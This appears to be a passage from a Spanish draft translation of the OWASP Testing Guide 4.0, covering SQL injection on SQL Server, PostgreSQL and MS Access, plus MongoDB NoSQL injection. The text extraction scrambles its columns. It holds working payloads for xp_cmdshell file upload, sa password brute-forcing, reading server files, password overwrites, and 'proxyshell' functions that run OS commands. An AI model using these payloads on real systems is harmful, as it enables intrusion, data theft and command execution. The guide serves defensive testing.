Si el firewall no permite el FTP, tenemos una solución que aprovecha al depurador de Windows, debug.exe, que se instala por defecto en todas las máquinas Windows. Debug.exe es secuenciable y es capaz de crear un ejecutable, corriendo un archivo de script apropiado. Lo que tenemos que hacer es convertir al ejecutable en un script de depuración (que es un archivo ASCII 100%), subirlo línea por línea y, por último, correr debug.exe en él. Hay varias herramientas que crean esos archivos de depuración (por ejemplo: makescr.exe por Ollie Whitehouse y dbgtool.exe por toolcrypt.org). Las consultas a inyectar, por tanto, serán las siguientes:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 191
Guia de pruebas 4.0 "Borrador"
exec master..xp_cmdshell ‘echo [debug script line #1 of n] > debugscript.txt’;-exec master..xp_cmdshell ‘echo [debug script line #2 of n] >> debugscript.txt’;--
observa la respuesta. Por ejemplo, si la aplicación web está buscando un libro mediante una consulta:
select * from books where title=text entered by the user
.... exec master..xp_cmdshell ‘echo [debug script line #n of n] >> debugscript.txt’;-exec master..xp_cmdshell ‘debug.exe < debugscript.txt’;--
Entonces, el evaluador de penetración podría entrar en el texto: 'Bomba' OR 1=1- y si los datos no se validan correctamente, la consulta pasará y devolverá la lista completa de libros. Ésta es evidencia de que existe una vulnerabilidad de inyección SQL. El probador de penetración podría jugar más tarde con las consultas para evaluar la criticidad de esta vulnerabilidad.
Si más de un mensaje de error se muestra En este punto, nuestro ejecutable está disponible en la máquina de destino, listo para ser ejecutado. Existen herramientas que automatizan este proceso; las que se destacan son Bobcat, que se ejecuta en Windows, y Sqlninja, que funciona en Unix (véase las herramientas en la parte inferior de esta página).
Obtener información cuando no es visible (fuera de banda) No todo está perdido cuando la aplicación web no devuelve ninguna información, como mensajes de error descriptivos (cf. Inyección ciega de SQL). Por ejemplo, puede ocurrir que uno tenga acceso al código fuente (por ejemplo, porque la aplicación web se basa en un software de código abierto). Entonces, el evaluador de edición puede explotar todas las vulnerabilidades de inyección SQL descubiertas fuera de línea en la aplicación web. Aunque un IPS puede detener algunos de estos ataques, la mejor manera sería proceder así: desarrolle y pruebe los ataques en un banco de pruebas creado para ello, y luego ejecute estos ataques contra la aplicación web que se está probando.
Por otro lado, si no hay información previa disponible, todavía hay una posibilidad de atacar aprovechando cualquier canal encubierto. Puede ocurrir que los mensajes de error descriptivos sean detenidos, pero los mensajes de error dan alguna información. Por ejemplo:
• En algunos casos la aplicación web (realmente el servidor web) podría devolver el tradicional 500: Internal Server Error, cuando la aplicación devuelve una excepción que puede generarse, por ejemplo, por una consulta con comillas no cerradas. • Mientras que en otros casos el servidor devolverá un mensaje 200 OK, la aplicación web devolverá un mensaje de error insertado por los desarrolladores, por ejemplo Internal server error o bad data.
Esta escasa información sería suficiente para entender cómo se construye la consulta SQL dinámica mediante la aplicación web y tunear una explotación. Otro método de fuera de banda es generar los resultados a través de archivos navegables HTTP.
Otras opciones para los ataques fuera de banda se describen en el ejemplo 4 anterior. Ataques temporizados Ataques de inyección ciega de SQL Prueba y error Alternativamente, uno puede jugar a la suerte. El atacante puede asumir que existe una vulnerabilidad de inyección ciega de SQL o fuera de banda en la aplicación web. Luego selecciona un vector de ataque (por ejemplo, una entrada de la web), utiliza vectores de fuzz (1) contra este canal y
Hay una posibilidad más para hacer una inyección ciega de SQL cuando no hay reacción visible de la aplicación: midiendo el tiempo que tarda la aplicación web para responder a una solicitud. Un ataque de este tipo lo describe Anley en ([2]) de donde tomamos los siguientes ejemplos. Un enfoque típico utiliza el comando de retraso waitfor: si el atacante quiere comprobar si existe la base de datos 'pubs', simplemente inyectará el siguiente comando:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 192
Guia de pruebas 4.0 "Borrador"
declare @i int select @i = 0 select * from books where title=text entered by the user while @i < 0xaffff begin select @i = @i + 1
end Dependiendo del tiempo que le lleva a la consulta responder, sabremos la respuesta. De hecho, lo que tenemos aquí son dos cosas: una vulnerabilidad de inyección SQL y un canal encubierto que permite al evaluador de penetración conseguir un bit de información de cada consulta. Por lo tanto, usando varias consultas (cuantas consultas como bits de información se requieran) el evaluador de edición puede obtener cualquier información que está en esta base de datos. Mire la siguiente consulta:
Compruebe la versión y las vulnerabilidades El mismo enfoque de temporización puede utilizarse también para entender de qué versión de SQL Server se trata. Por supuesto aprovechamos la variable de @@version incorporada. Considere la siguiente consulta:
declare @s varchar(8000) select @@version declare @i int
select @s = db_name() select @i = [some value] if (select len(@s)) < @i waitfor delay ‘0:0:5’
En SQL Server 2005, devolverá algo como lo siguiente:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip> Midiendo el tiempo de respuesta y utilizando diferentes valores para @i, podemos deducir la longitud del nombre de la base de datos y luego comenzar a extraer el nombre mismo con la siguiente consulta:
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay ‘0:0:5’
La parte '2005' de la cadena se extiende desde el carácter 22 hasta el 25. Por lo tanto, una consulta a inyectar puede ser la siguiente:
if substring((select@@version),25,1)=5 waltfor delay ‘0:0:5’
Esta consulta esperará cinco segundos si bit '@bit' de byte '@byte' del nombre de la base de datos actual es 1 y volverá inmediatamente si es 0. Anidando dos ciclos (uno para @byte y otro para @bit) seremos capaces de extraer toda la pieza de información.
Sin embargo, puede ocurrir que el comando waitfor no esté disponible (por ejemplo, ya que es filtrado por un IPS/ firewall de aplicación web). Esto no significa que no se pueden realizar ataques de inyección ciega de SQL, ya que el evaluador solo debe utilizar operaciones que consuman tiempo y que no sean filtradas. Por ejemplo
Dicha consulta esperará cinco segundos si el carácter número 25 de la variable @@version es '5', enseñándonos que estamos tratando con un SQL Server 2005. Si la consulta regresa inmediatamente, es probable que estemos tratando con SQL Server 2000, y otra consulta similar ayudará a despejar todas las dudas.
Ejemplo 9: Forzado de la contraseña de sysadmin Para forzar la contraseña de sysadmin (administrador del sistema), podemos aprovechar el hecho de que OPENROWSET debe tener las credenciales apropiadas para realizar con éxito la conexión y que esa conexión se puede también "enlazar" al servidor local de base de datos. Combinando estas
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 193
Guia de pruebas 4.0 "Borrador"
características con una inyección de inferencias basada en el tiempo de respuesta, podemos inyectar el siguiente código: Herramientas • Francois Larouche: Multiple DBMS SQL Injection tool: select * from OPENROWSET(‘S LOLEDB’,’’;’sa’;’<pwd>’,’select 1;waitfor delay ‘’0:0:5’’ ‘)
sqlpowerinjector.com • icesurfer: SQL Server Takeover Tool: sqlninja.sourceforge.net • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool: sqlmap.org
Lo que hacemos aquí es intentar una conexión a la base de datos local (especificada por el campo vacío después de 'SQLOLEDB') utilizando "sa" y "<pwd>" como credenciales.
Referencias Libros Blancos
Si la contraseña es correcta y la conexión es exitosa, se ejecuta la consulta, haciendo que la base de datos espere cinco segundos (y que también devuelva un valor, puesto que OPENROWSET espera al menos una columna).
Buscando las contraseñas del candidato de una lista de palabras y midiendo el tiempo necesario para cada conexión, podemos tratar de adivinar la contraseña correcta.
• David Litchfield: “Data-mining with S L Injection and Inference”: davidlitchfield.com • Chris Anley, “(more) Advanced S L Injection”: encription.co.uk • Steve Friedl’s Unixwiz.net Tech Tips: “S L Injection Attacks by Example”: unixwiz.net • Alexander Chigrik: “Useful undocumented extended stored procedures”: mssqlcity.com • Antonin Foller: “Custom xp_cmdshell, using shell object”: motobit.com
En “Data-mining with SQL Injection and Inference”, (Extrayendo datos con Inyecciones e inferencias SQL), David Litchfield empuja esta técnica aún más allá, mediante la inyección de una pieza de código para forzar la contraseña de sysadmin, utilizando los recursos del CPU del mismo servidor de base de datos.
Una vez que tengamos la contraseña de sysadmin, tenemos dos opciones:
• Inyectar todas las consultas siguientes usando OPENROWSET, para usar los privilegios de sysadmin. • Añadir nuestro usuario actual al grupo de sysadmin usando sp_addsrvrolemember. El nombre de usuario actual puede extraerse usando inyección de inferencias en contra de la variable system_user.
Recuerde que OPENROWSET es accesible a todos los usuarios en SQL Server 2000, pero está restringido a cuentas administrativas en SQL Server 2005.
• Paul Litwin: “Stop S L You”:msdn.microsoft.com
Injection
Attacks
Before
They
Stop
• SQL Injection: msdn2.microsoft.com • Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection: saicon.com uploading files, getting into internal network, port scanning, DOS
Probar la seguridad del proyecto de acceso restringido PostgreSQL de OWASP Resumen En esta sección, discutiremos algunas técnicas de inyección SQL para PostgreSQL. Estas técnicas tienen las siguientes carácterísticas:
• El conector de PHP permite ejecutar múltiples instrucciones utilizándolo ; como un separador de declaraciones. • Las instrucciónes SQL pueden truncarse anexando el comentario char: --.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 194
Guia de pruebas 4.0 "Borrador"
• LÍMIT y OFFSET pueden utilizarse en una instrucción SELECT para recuperar una parte del conjunto de resultados generado por la consulta. • Largo de la cadena - LENGTH(str) De ahora en adelante se supone que http://www.example.com/news.php?id=1 es vulnerable a ataques de inyección SQL.
• Extraer una subcadena desde una cadena dada - SUBSTR(str,index,offset)
Cómo probar Identifique al PostgreSQL Cuando se ha encontrado una inyección SQL, necesitará cuidadosamente marcar con su huella digital el motor de base de datos restringidos. Usted puede determinar el motor de base de datos de backend PostgreSQL usando el operador de lanzamientos :: .
• Representación de una cadena sin comillas simples - CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Iniciando en la versión 8.2, PostgreSQL introdujo una función incluida, pg_sleep(n), para hacer que la sesión activa duerma por n segundos. Esta función puede ser aprovechada para ejecutar ataques temporizados (discutidos en detalle en Inyección ciega de SQL).
Ejemplos: Además, la función version() puede utilizarse para atrapar el banner de PostgreSQL. Esto también mostrará el tipo de sistema operativo subyacente y la versión.
Adicionalmente, usted puede fácilmente crear una pg_sleep(n) personalizada en las versiones previas usando libc:
• CREATE function pg_sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’ LANGUAGE ‘C’ STRICT
Prevenga la fuga mediante la comilla simple Ejemplo:
Las cadenas pueden codificarse para prevenir la fuga de comillas simples, usando la función chr().
http://www.example.com/store.php?id=1 AND 1::int=1 • chr(n): Devuelve el carácter que en valor ASCII corresponde al número n • ascii(n): Devuelve el valor ASCII que corresponde al carácter n Un ejemplo de una cadena de encabezado que podría devolverse es: Digamos que quiere codificar la cadena ‘root’: PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Inyección ciega Para los ataques de inyección ciega de SQL, debe tomar en consideración las siguientes funciones incorporadas:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 195
Guia de pruebas 4.0 "Borrador"
select ascii(‘r’)
http://www.example.com/store.php?id=1 user,NULL,NULL--
UNION
ALL
SELECT
http://www.example.com/store.php?id=1 current_user, NULL, NULL--
UNION
ALL
SELECT
114 select ascii(‘o’)
111 select ascii(‘t’) 116 Base de datos actual La función incorporada current_database() devuelve el nombre de la base de datos actual.
Podemos codificar ‘root’ así:
chr(114)||chr(111)||chr(111)||chr(116) Ejemplo:
http://www.example.com/store.php?id=1 current_database(),NULL,NULL--
UNION
ALL
SELECT
Ejemplo:
http://www.example.com/store.php?id=1; UPDATE PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
users
SET
Para leer desde un archivo PostgreSQL ofrece dos formas de acceder a un archivo local: Vectores de Ataque Usuario actual
• Una declaración COPY
La identidad del usuario actual se puede recuperar con las siguientes instrucciones SQL SELECT:
• función interna pg_read_file() (desde PostgreSQL 8.1)
SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user
COPY: Este operador copia datos entre un archivo y una tabla. El motor PostgreSQL accede al sistema de archivos local como un usuario postgres.
SELECT getpgusername() Ejemplo Ejemplos:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 196
Guia de pruebas 4.0 "Borrador"
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--/store.php?id=1; COPY ‘/var/lib/postgresql/.psql_history’--
file_store(data)
FROM
Para escribir a un archivo Revirtiendo la declaración de COPY, podemos escribir en el sistema de archivos local con los derechos de usuario de postgres:
/store.php?id=1; COPY ‘/var/lib/postgresql/copy_output’--
file_store(data)
TO
Los datos deben obtenerse mediante la realización de una consulta de inyección UNION SQL: Inyección de Shell (Shell Injection)
• recupere el número de filas previamente añadidas en file_store con una frase de COPY
PostgreSQL proporciona un mecanismo para añadir funciones personalizadas utilizando tanto bibliotecas dinámicas y lenguajes de scripting como python, perl y tcl.
• recupere una fila a la vez con una inyección UNION SQL Biblioteca dinámica (Dynamic Library) Ejemplo:
Hasta la aparición de PostgreSQL 8.1, era posible añadir funciones personalizadas ligadas a libc:
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
• CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT
Puesto que el sistema devuelve un int ¿cómo podemos obtener resultados del sistema stdout? Aquí está un pequeño truco: [1] cree una tabla stdout • CREATE TABLE stdout(id serial, system_out text)
[2] ejecute un comando shell redireccionando su stdout pg_read_file():
• SELECT system(‘uname -a > /tmp/test’)
Esta función se introdujo en PostgreSQL 8.1 y permite leer archivos arbitrarios situados dentro del directorio de datos DBMS. [3] use declaraciones COPY para obtener los comandos stdout anteriores de la tabla Ejemplos:
• COPY stdout(system_out) FROM ‘/tmp/test’
• SELECT pg_read_file(‘server.key’,0,1000); [4] obtenga los datos de stdout
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 197
Guia de pruebas 4.0 "Borrador"
• SELECT system_out FROM stdout
• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read() ‘LANGUAGE plpythonu
Ejemplo: [4] Diviertase con:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’,’system’ LANGUAGE ‘C’
• SELECT proxyshell(os command);
Ejemplo: [1] Cree una función de proxy shell:
STRICT -• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;-/store.php?id=1; SELECT system(‘uname -a > /tmp/test’) -[2] Corra un comando OS:
/store.php?id=1; COPY stdout(system_out) FROM ‘/tmp/test’ --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1—
plpython PL/Python permite a los usuarios codificar funciones de PostgreSQL en python. No es confiable ya que no hay manera de restringir lo que puede hacer el usuario. No se instala por defecto y puede activarse en una base de datos mediante CREATELANG
• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’), NULL OFFSET 1;--
plperl Plperl nos permite codificar funciones de PostgreSQL en perl. Normalmente se instala como un lenguaje de confianza para desactivar la aplicación del tiempo de ejecución de las operaciones que interactúan con el sistema operativo subyacente, tales como abrir (open). Al hacerlo, es imposible tener acceso al nivel del sistema operativo (OS). Para inyectar con éxito una función tipo proxyshell, tenemos que instalar la versión no confiable desde el usuario postgres, para evitar el filtrado conocido como aplicación del filtro de máscara ó u operaciones confiables/no confiables (trusted/untrusted).
[1] Revise si PL/perl-untrusted ha sido activado: • SELECT count(*) FROM pg_language WHERE lanname=’plperlu’
[1] Revise si PL/Python se ha activado en una base de datos: • SELECT count(*) FROM pg_language WHERE lanname=’plpythonu’
[2] Si no, asumiendo que sysadm ha instalado el paquete plperl, intente: • CREATE LANGUAGE plperlu
[2] Si no, intente activarla: • CREATE LANGUAGE plpythonu
[3] Si cualquiera de las anteriores tuvo éxito, cree una función de proxy shell: • CREATE FUNCTION proxyshell(text) RETURNS text ‘open(FD,”$_[0] |”);return join(“”,<FD>);’ LANGUAGE plperlu
[3] Si cualquiera de las anteriores tuvo éxito, cree una función de proxy shell:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 198
AS
Guia de pruebas 4.0 "Borrador"
[4] Diviértase con: • SELECT proxyshell(os command);
ejemplo, una cita, comilla doble, ...) para activar las excepciones de la base de datos. Suponiendo que la aplicación no maneja excepciones con páginas personalizadas, es posible marcar con huellas digitales, la DBMS subrayada mediante la observación de los mensajes de error.
Ejemplo: [1] Cree una función proxy shell:
Dependiendo de la tecnología web específica utilizada, las aplicaciones dirigidas por MS Access responderán con uno de los siguientes errores:
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,”$_[0] |”);return join(“”,<FD>);’ LANGUAGE plperlu;
Fatal error: Uncaught exception ‘com_exception’ with message Source: Microsoft JET Database Engine
[2] Corra un comando OS: • /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’), NULL OFFSET 1;-O
Microsoft JET Database Engine error ‘80040e14’
References • OWASP : “Testing for SQL Injection” • OWASP : SQL Injection Prevention Cheat Sheet • PostgreS L : “Official Documentation” - http://www.postgresql.org/docs/
O
• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool http://sqlmap.sourceforge.net
Microsoft Office Access Database Engine
Pruebas para MS Access Resumen Como se explica en la sección de inyección de SQL genérica, las vulnerabilidades de inyección SQL ocurren cuando se usan los ingresos suministrados por el usuario durante la construcción de una consulta SQL sin estar adecuadamente limitada o desinfectada. Esta clase de vulnerabilidades permite a un atacante ejecutar códigos SQL bajo los privilegios del usuario que utiliza para conectarse a la base de datos. En esta sección, se discutirán las técnicas relevantes de inyección SQL que utilizan características específicas de Microsoft Access.
En todos los casos, tenemos la confirmación de que estamos probando la aplicación con la base de datos de MS Access.
Pruebas básicas Desafortunadamente, MS Access no es compatible con operadores comunes que se utilizan tradicionalmente durante las pruebas de inyección, incluyendo: : • No comments characters
Como probar Marque con huellas digitales Dejar huellas digitales en la tecnología específica de la base de datos mientras se prueba la aplicación de SQL es el primer paso para evaluar correctamente los posibles puntos vulnerables. Un método común implica inyectar patrones de ataque de inyección de SQL estándar (por
• No stacked queries • No LIMIT operator • No SLEEP or BENCHMARK alike operators • and many others
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 199
Guia de pruebas 4.0 "Borrador"
También hay muchas otras funciones que pueden utilizarse al realizar pruebas de inyección SQL, que incluyen pero no limitan a: Sin embargo, es posible emular las funciones mediante la combinación de varios operadores o mediante el uso de técnicas alternativas. Como se mencionó, no es posible utilizar el truco de insertar los caracteres /*, -- o # para truncar la consulta. Sin embargo, afortunadamente podemos evitar esta limitación mediante la inyección de un carácter 'null'. Al utilizar un byte nulo %00 en una consulta SQL resulta que MS Access ignora todos los caracteres restantes. Esto puede explicarse considerando que todas las cadenas son NULL en la representación interna utilizada por la base de datos. Cabe destacar que el carácter 'null' a veces puede causar problemas también, ya que puede truncar cadenas al nivel del servidor web. En esas situaciones, sin embargo, podemos emplear otro carácter: 0x16 (% 16 en formato URL codificado).
Considerando la siguiente consulta:
SELECT [username],[password] FROM users WHERE [username]=’$myUsername’ AND [password]=’$myPassword’
Se puede truncar la consulta con las siguientes URL:
• ASC: Obtiene el valor ASCII de un carácter que se pasa como ingreso • CHR: Obtiene el carácter del valor ASCII pasado como ingreso • LEN: Devuelve la longitud de la cadena pasada como parámetro • IIF: Es la estructura IF, por ejemplo, la siguiente instrucción IIF(1=1 'a', 'b') return 'a' • MID: Esta función le permite extraer una subcadena, por ejemplo la siguiente instrucción mid('abc',1,1) return 'a' • TOP: Esta función le permite especificar el número máximo de resultados que la consulta debe devolver desde la parte superior. Por ejemplo, TOP 1 devolverá sólo una fila. • LAST: Esta función se utiliza para seleccionar sólo la última fila de un conjunto de filas. Por ejemplo, la siguiente consulta SELECT last(*) FROM users devolverá sólo la última fila del resultado.
Algunos de estos operadores son esenciales para explotar inyecciones ciegas de SQL. Para obtener otros operadores avanzados, consulte los documentos en las referencias.
http://www.example.com/page.asp?user=admin’%00&pass=foo http://www.example.com/page.app?user=admin’%16&pass=foo
El operador LIMIT no está implementado en MS Access, sin embargo, es posible limitar el número de resultados mediante el uso de los operadores TOP o LAST en su lugar.
Enumeración de atributos Para enumerar la columna de una tabla de base de datos, es posible utilizar una técnica basada en un error común. En definitiva, podemos obtener el nombre de los atributos mediante el análisis de los mensajes de error y repitiendo la consulta con distintos selectores. Por ejemplo, suponiendo que conocemos la existencia de una columna, también podemos obtener el nombre de los atributos restantes con la siguiente consulta:
‘ GROUP BY Id%00
http://www.example.com/page.app?id=2’+UNION+SELECT+TOP+3 +name+FROM+appsTable%00
Combinando ambos operadores, es posible seleccionar resultados específicos. La concatenación de cadenas es posible utilizando los caracteres & (26%) y + (% 2b).
En el mensaje de error recibido, es posible observar el nombre de la columna siguiente. En este punto, podemos iterar el método hasta obtener el nombre de todos los atributos. Si no sabemos el nombre del primer atributo, aún podemos introducir un nombre de columna ficticia y obtener el nombre del primer atributo en el mensaje de error.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 200
Guia de pruebas 4.0 "Borrador"
Obtención del esquema de base de datos Existen varias tablas por defecto del sistema en MS Access que pueden utilizarse potencialmente para obtener nombres de tablas y columnas. Por desgracia, en la configuración predeterminada de versiones recientes de bases de datos de MS Access, estas tablas no son accesibles. Sin embargo, siempre vale la pena probar:
• MSysObjects
últimas versiones de MS Access, tampoco es posible ejecutar comandos de shell o archivos arbitrarios de leer/escribir.
En el caso de las inyecciones ciegas de SQL, el atacante puede deducir el resultado de la consulta únicamente mediante la evaluación de las diferencias de tiempo o las respuestas de la aplicación. Se supone que el lector ya sabe la teoría detrás de los ataques de inyección ciega de SQL, ya que la parte restante de esta sección se centrará en detalles específicos de MS Access.
• MSysACEs • MSysAccessXML
En el ejemplo siguiente se utiliza:
http://www.example.com/index.php?myId=[sql] Por ejemplo, si existe una vulnerabilidad de inyección union de SQL, puede usar la siguiente consulta:
‘ UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
donde el parámetro de identificación se utiliza dentro de la siguiente consulta:
SELECT * FROM orders WHERE [id]=$myId
Por otra parte, siempre es posible forzar el esquema de base de datos usando una lista de palabras estándar (e.g. FuzzDb).
En algunos casos, los desarrolladores o administradores de sistemas no se dan cuenta que incluir el archivo .mdb real dentro de la aplicación webroot permite descargar la base de datos completa. Los nombres de los archivos de base de datos se pueden inferir con la siguiente consulta: http://www.example.com/page.app?id=1’+UNION+SELECT+1+FRO M+name.table%00
Vamos a considerar el parámetro myId como vulnerable a inyección ciega de SQL. Como un atacante, queremos extraer el contenido de la columna 'username' de la tabla 'users', asumiendo que ya hemos revelado el esquema de la base de datos.
Una consulta típica que puede usarse para inferir la primera letra del nombre de la fila diez es:
http://www.example.com/index.php?id=IIF((select%20MID(LAST(us ername),1,1)%20from%20(select%20TOP%2010%20username%20fr om%20users))=’a’,0,’no’) donde 'nombre' es el nombre de archivo .mdb y 'tabla' es una tabla de base de datos válida. En caso de bases de datos protegidas con contraseña, varias utilidades de software pueden utilizarse para romper la contraseña. Por favor revise las referencias. Si el primer carácter es 'a', la consulta devolverá 0 o, de lo contrario, la cadena 'no'. Prueba de Inyección ciega de SQL Las vulnerabilidades de inyección ciega de SQL no son las inyecciones de SQL más fáciles de explotar al probar aplicaciones reales. En el caso de las
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 201
Guia de pruebas 4.0 "Borrador"
Mediante la combinación de las funciones IFF, MID, LAST y TOP, es posible extraer el primer carácter del nombre de usuario en una fila seleccionada específicamente. Como la consulta interna devuelve un conjunto de registros y no sólo uno, no es posible utilizarlo directamente. Afortunadamente, podemos combinar varias funciones para extraer una cadena específica.
[1] Probar todos los valores imprimibles, hasta que encontramos una coincidencia. [2] Deducir la longitud de la cadena utilizando la función LEN o simplemente parando después de que hemos encontrado todos los caracteres. Las inyecciones ciegas de SQL temporizadas también son posibles mediante el abuso de consultas pesadas.
Supongamos que queremos recuperar el nombre de usuario de la fila diez. En primer lugar, podemos usar la función TOP para seleccionar las diez primeras filas utilizando la siguiente consulta: Referencias SELECT TOP 10 username FROM users
• http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html • http://packetstormsecurity.com/files/65967/Access-ThroughAccess.pdf.html
Luego, utilizando este subconjunto, podemos extraer la última fila con la función LAST. Una vez que tenemos sólo una fila y exactamente la fila que contiene la cadena, podemos utilizar las funciones IFF, MID y LAST para inferir el valor real del nombre de usuario. En nuestro ejemplo, empleamos IFF para devolver un número o una cadena. Con este truco, podemos distinguir si tenemos una respuesta verdadera o no, observando las respuestas de error de la aplicación. Como la identificación es numérica, puede compararse con una cadena de resultados en un error SQL que puede ser potencialmente filtrado por páginas 500 de Error interno del servidor. De lo contrario, probablemente se devolverá una página 200 OK estándar.
• http://seclists.org/pen-test/2003/May/74 • http://www.techonthenet.com/access/functions/index_ alpha.php • http://en.wikipedia.org/wiki/Microsoft_Access
Pruebas de inyección NoSQL Resumen
Por ejemplo, podemos tener la siguiente consulta:
http://www.example.com/index.php?id=’%20AND%201=0%20OR% 20’a’=IIF((select%20MID(LAST(username),1,1)%20from%20(select %20TOP%2010%20username%20from%20users))=’a’,’a’,’b’)%00
Es verdadero si el primer carácter es 'a' o falso en caso contrario.
Como se mencionó, este método permite inferir el valor de secuencias arbitrarias en la base de datos:
Las bases de datos NoSQL ofrecen restricciones de consistencia más sueltas que las bases de datos SQL tradicionales. Por requerir menos restricciones relacionales y comprobaciones de coherencia, las bases de datos NoSQL a menudo ofrecen beneficios por rendimiento y escala. Sin embargo, estas bases de datos aún son potencialmente vulnerables a ataques de inyección, incluso si no están usando la sintaxis SQL tradicional. Debido a que estos ataques de inyección de NoSQL pueden ejecutarse dentro de un lenguaje procesal [1], en lugar de un lenguaje SQL declarativo [2], los impactos potenciales son mayores que en una inyección SQL tradicional.
Las comunicaciones de base de datos NoSQL son escritas en el lenguaje de programación de la aplicación, una comunicación API personalizada o formateada según un acuerdo común (como XML, JSON, LINQ, etc.). Los registros maliciosos que apuntan a dichas especificaciones podrían no desencadenar los controles primarios de desinfección de la aplicación. Por ejemplo, filtrar los caracteres especiales del HTML comunes como < > &; no impedirá los ataques contra una JSON API, donde se incluyen caracteres especiales / {}:.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 202
Guia de pruebas 4.0 "Borrador"
Hoy encontramos más de 150 bases de datos NoSQL disponibles[3] para usarlas dentro de una aplicación, y que proporcionan API en una variedad de lenguajes y modelos de relación. Cada una ofrece diferentes características y restricciones. Ya que no hay un lenguaje común entre ellas, una inyección de código de ejemplo no aplica a través de las bases de datos NoSQL. Por esta razón, cualquier persona que va a probar los ataques de inyección de NoSQL tendrá que familiarizarse con la sintaxis, modelo de datos y lenguaje de programación relacionada para poder elaborar pruebas específicas.
Opcionalmente, JavaScript tambien se evalúa para permitir condiciones más avanzadas.
db.myCollection.find( { $where: function() { return obj.credits obj.debits < 0; } } );
Ejemplo 1 Los ataques de inyección de NoSQL pueden ejecutarse en diferentes áreas de una aplicación que la inyección de SQL tradicional. Mientras la inyección SQL se ejecutaría dentro del motor de la base de datos, las variantes NoSQL pueden ejecutarse dentro de la capa de aplicación o la capa de base de datos, dependiendo de la API de NoSQL y el modelo de datos usado. Por lo general, los ataques de inyección de NoSQL se ejecutarán donde la cadena de ataque es analizada, evaluada o concatenada con una comunicación a la API de NoSQL.
Adicionalmente los ataques temporizados pueden ser relevantes debido a la falta de control de concurrencia dentro de una base de datos NoSQL. Estos no están cubiertos por la prueba de inyección. Al momento de escribir, MongoDB es la base de datos NoSQL más utilizada, y por eso todos los ejemplos contarán con APIs de MongoDB.
Si un atacante es capaz de manipular los datos entregados en el operador $where, ese atacante podría incluir JavaScript arbitrario para que sea evaluado como parte de la consulta de MongoDB. Un ejemplo de una vulnerabilidad se expone en el siguiente código, si el ingreso del usuario se pasa directamente a la consulta de MongoDB sin desinfección.
b.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;
Como con otros tipos de pruebas de inyección, uno no necesita explotar completamente la vulnerabilidad para demostrar el problema. Inyectando los caracteres especiales relevantes al lenguaje API objetivo y observando los resultados, un evaluador puede determinar si la aplicación desinfectó correctamente el ingreso.
Cómo probar Para probar las vulnerabilidades de inyección de NoSQL en MongoDB: El API de MongoDB espera comunicaciones BSON (Binary JSON) e incluye una herramienta para ensamblar consultas BSON seguras. Sin embargo, según la documentación de MongoDB - expresiones no seriales de JSON y JavaScript se permiten en varios parámetros de una consulta alternativa.[4] La comunicación API más utilizada que permite ingresos de JavaScript arbitrarios es el operador $where.
El operador MongoDB $where, por lo general, se utiliza como un simple filtro o control, ya que está dentro de SQL. db.myCollection.find( { $where: “this.credits == this.debits” } );
Por ejemplo, en MongoDB, si se pasa una cadena que contiene cualquiera de los siguientes caracteres especiales sin desinfectar, desencadenaría un error de base de datos. ‘“ \;{}
Con la inyección de SQL normal, una vulnerabilidad similar permitiría a un atacante ejecutar comandos arbitrarios de SQL - exponiendo o manipulando los datos a voluntad. Sin embargo, ya que JavaScript es un lenguaje completo, no sólo permite a un atacante manipular los datos, sino también ejecutar el código arbitrario.
Por ejemplo, en vez de causar un error al realizar la prueba, una explotación completa utilizaría los caracteres especiales para crear un código JavaScript válido.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 203
Guia de pruebas 4.0 "Borrador"
